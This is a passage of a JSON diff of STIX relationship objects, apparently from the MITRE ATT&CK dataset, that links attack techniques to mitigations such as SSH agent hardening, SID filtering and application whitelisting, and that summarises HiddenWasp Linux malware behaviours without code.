+ "modified": "2019-07-18T17:51:26.697Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:01:58.843Z", + "id": "relationship--fa977c5a-8fde-4511-998c-954c946c6cd0", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T17:51:26.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "description": "Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:01:58.844Z", + "id": "relationship--9244439a-5c10-4645-b71d-97bf602cb509", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-18T17:51:26.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec SSH and ssh-agent", + "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", + "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:09:56.500Z", + "id": "relationship--f1883831-ea71-4e27-ab6a-aa10a7fd7df4", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-06-24T11:09:56.500Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:09:56.517Z", + "id": "relationship--b5c8909c-3fe2-4dbf-bf8a-c620ddfe2bed", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-06-24T11:09:56.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "description": "Anti-virus can also automatically quarantine suspicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:09:56.519Z", + "id": "relationship--a408e9fc-44fb-4563-a86f-2eb17ff0832d", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "modified": "2019-06-24T11:09:56.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:11:18.378Z", + "id": "relationship--93669ebc-ea8d-4f76-94c8-4f8d1679b123", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-10-18T15:19:13.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:14:20.465Z", + "id": "relationship--ce68b332-ac44-472e-81b9-6cffe7ff11a2", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-06-24T11:14:20.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:14:20.476Z", + "id": "relationship--87b35c42-a798-461b-a58e-2e2d9ea45354", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-06-24T11:14:20.476Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "Anti-virus can also automatically quarantine suspicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:14:20.493Z", + "id": "relationship--0bb376d8-f73c-404f-a1bc-9a89c6b7a435", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "modified": "2019-06-24T11:14:20.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:14:20.495Z", + "id": "relationship--2efc4972-6779-4a5c-a18a-db3c64623b8c", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-24T11:14:20.495Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "Employ heuristic-based malware detection. Ensure updated virus definitions and create custom signatures for observed malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:20:24.073Z", + "id": "relationship--eb7829cd-ff2e-4dc5-87e7-9006327472e1", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "modified": "2019-09-26T15:56:47.373Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:31:34.656Z", + "id": "relationship--b9dcc8d0-11c5-4be1-a7a2-ab1b4e5c32a7", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "modified": "2019-07-18T03:42:39.028Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "description": "Restrict storage and execution of SIP DLLs to protected directories, such as C:\\\\Windows, rather than user directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:31:34.660Z", + "id": "relationship--e6a535c6-de5f-4bd2-8cfe-afbf232c1c5b", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T03:42:39.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "description": "Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:31:34.681Z", + "id": "relationship--994dd6b7-c209-41b4-af96-d9e9604043d4", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-18T03:42:39.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:33:53.013Z", + "id": "relationship--54d2ea67-40fd-4fbc-b76a-01879aa5bff5", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-06-24T11:33:53.013Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "description": "If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:36:16.286Z", + "id": "relationship--59875c71-7e13-4686-a370-8af53d611d4e", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-06-24T11:36:16.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:36:16.293Z", + "id": "relationship--7c56287b-94e3-4032-828c-649039a9416d", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-06-24T11:36:16.293Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by:\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T11:48:11.099Z", + "id": "relationship--6e7ec1a3-853f-40b5-8dc2-fc8d5b46b241", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "modified": "2019-07-18T03:26:41.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Trust Considerations Nov 2014", + "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc755321.aspx" + }, + { + "source_name": "Microsoft SID Filtering Quarantining Jan 2009", + "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc794757.aspx" + }, + { + "source_name": "Microsoft Netdom Trust Sept 2012", + "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc835085.aspx" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "description": "Disable execution on directories within the webroot. Ensure proper permissions on directories that are accessible through a Web server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:02:18.652Z", + "id": "relationship--ba8f0270-a378-4b78-9e67-8dbc70df1fb8", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T19:27:00.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit unauthenticated network share access and network/system isolation", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:02:18.668Z", + "id": "relationship--23033ca9-166b-47c0-b6f5-c69926885927", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-18T19:27:00.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "description": "Disallow remote access to the webroot or other directories used to serve Web content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:02:18.674Z", + "id": "relationship--58b119e2-9636-4446-93f1-f75468963935", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "modified": "2019-07-18T19:27:00.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:03:02.500Z", + "id": "relationship--a0a004fe-2636-4f6d-85c7-2401768252a2", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-24T12:03:02.500Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:06:10.358Z", + "id": "relationship--4867dbb4-1e1b-45f6-9070-8e2c0c303638", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-09-18T12:50:17.703Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Firewall Design", + "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:06:10.365Z", + "id": "relationship--7bdcd3e6-f741-4f62-9495-3111309adad8", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-09-18T12:50:17.699Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:06:41.416Z", + "id": "relationship--cbcf3820-85c9-4e09-a9a0-729fdfd11fd6", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-06-24T12:06:41.416Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:10:26.797Z", + "id": "relationship--38db9ff6-2f56-48cc-b42e-819c6bcca25b", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "modified": "2019-10-11T02:52:39.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:13:11.562Z", + "id": "relationship--07be2a52-df69-4d03-aca6-e3d136eefc04", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T19:12:52.393Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:15:30.419Z", + "id": "relationship--2b59d554-377b-41f5-a991-70f5a4ff3f69", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "modified": "2019-06-24T12:15:30.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T12:15:33.150Z", + "id": "relationship--9802575b-e7bf-417b-8c4e-cfa922e2792b", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T18:24:58.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:02:09.329Z", + "id": "relationship--0f0e72e6-cac4-4840-b576-92a5105bda40", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-17T21:51:10.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) installs reboot persistence by adding itself to /etc/rc.local.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:13:57.195Z", + "id": "relationship--7ced0df2-1d05-40ea-986e-28692c028d92", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.175Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a cipher to implement a decoding function.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:13:57.215Z", + "id": "relationship--b6df63b7-34af-4918-8d1d-cf3dad0287f8", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.197Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) encrypts its configuration and payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:13:57.218Z", + "id": "relationship--d13ea010-1b69-40d4-8d86-6fe2053f59d2", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.220Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a script to automate tasks on the victim's machine and to assist in execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:13:57.230Z", + "id": "relationship--a311f17e-9f17-4f4d-b316-d844c0a0f1d2", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.257Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) communicates with a simple network protocol over TCP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:13:57.241Z", + "id": "relationship--55b8f35b-7ccc-4da7-9ab1-40fe148cd182", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.261Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) creates a user account as a means to provide initial persistence to the compromised machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:13:57.243Z", + "id": "relationship--08d9bd35-4d07-42f0-b462-c9c8b5a9dbab", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "modified": "2019-07-06T22:20:35.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "description": "Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:19:33.236Z", + "id": "relationship--d036b6e1-08ad-4a3f-9b57-5e6780eb743c", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": 